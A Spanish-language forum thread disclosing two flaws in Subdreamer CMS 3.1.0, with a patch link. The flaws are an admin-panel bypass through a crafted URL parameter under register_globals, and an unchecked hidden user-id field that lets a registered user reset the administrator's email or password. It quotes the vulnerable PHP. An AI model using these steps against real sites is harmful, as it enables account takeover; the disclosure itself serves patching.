Subdreamer 3.1.0 varios bugs

[bizco]

EDITO: acaban de sacar otro update que soluciona todos los fallos.

para el primero  hay parche, de obligatoria instalacion ya que por un fallo se podia acceder a todo el panel de administracion:

http://www.subdreamer.com/sdcms_310_patch.zip

con register_globals On, http://host/admin/pages.php?userinfo[adminaccess]=1 para navegar por el panel de administracion sin hacer login.

cambiar email y password de cualquier usuario, id 1 por defecto es administrador. necesitas estar registrado y modificar tu perfil, dando una ojeada al codigo html

Código [Seleccionar] Expandir


<form action="http://localhost/index.php?categoryid=5" method="post" name="form">
<input type="hidden" value="4" name="p11_userid">


p11_userid es nuestro id de usuario, ahora miramos usercp.php

Código [Seleccionar] Expandir


if(isset($_POST['email']) && strlen($_POST['email']))
   {
     
     $DB->query("UPDATE {users} SET email = '%s' WHERE userid = %d", $_POST['email'], $_POST['p11_userid']);
   }

   // change password?
   if(isset($_POST['newpassword']) && strlen($_POST['newpassword']))
   {

     $DB->query("UPDATE {users} SET password = '%s' WHERE userid = %d", md5($_POST['newpassword']), $_POST['p11_userid']);
   }


el id no se verifica en ningun momento, solo modificando el valor del campo oculto por 1 cambiaremos el password o email del administrador y podremos logearnos tranquilamente. versiones anteriores tb estan afectadas por estos errores.

[tragantras]

con dos cojones! xD

y cuanto tiempo lleva esto sin solucionarse? parece una falla de principiantes :S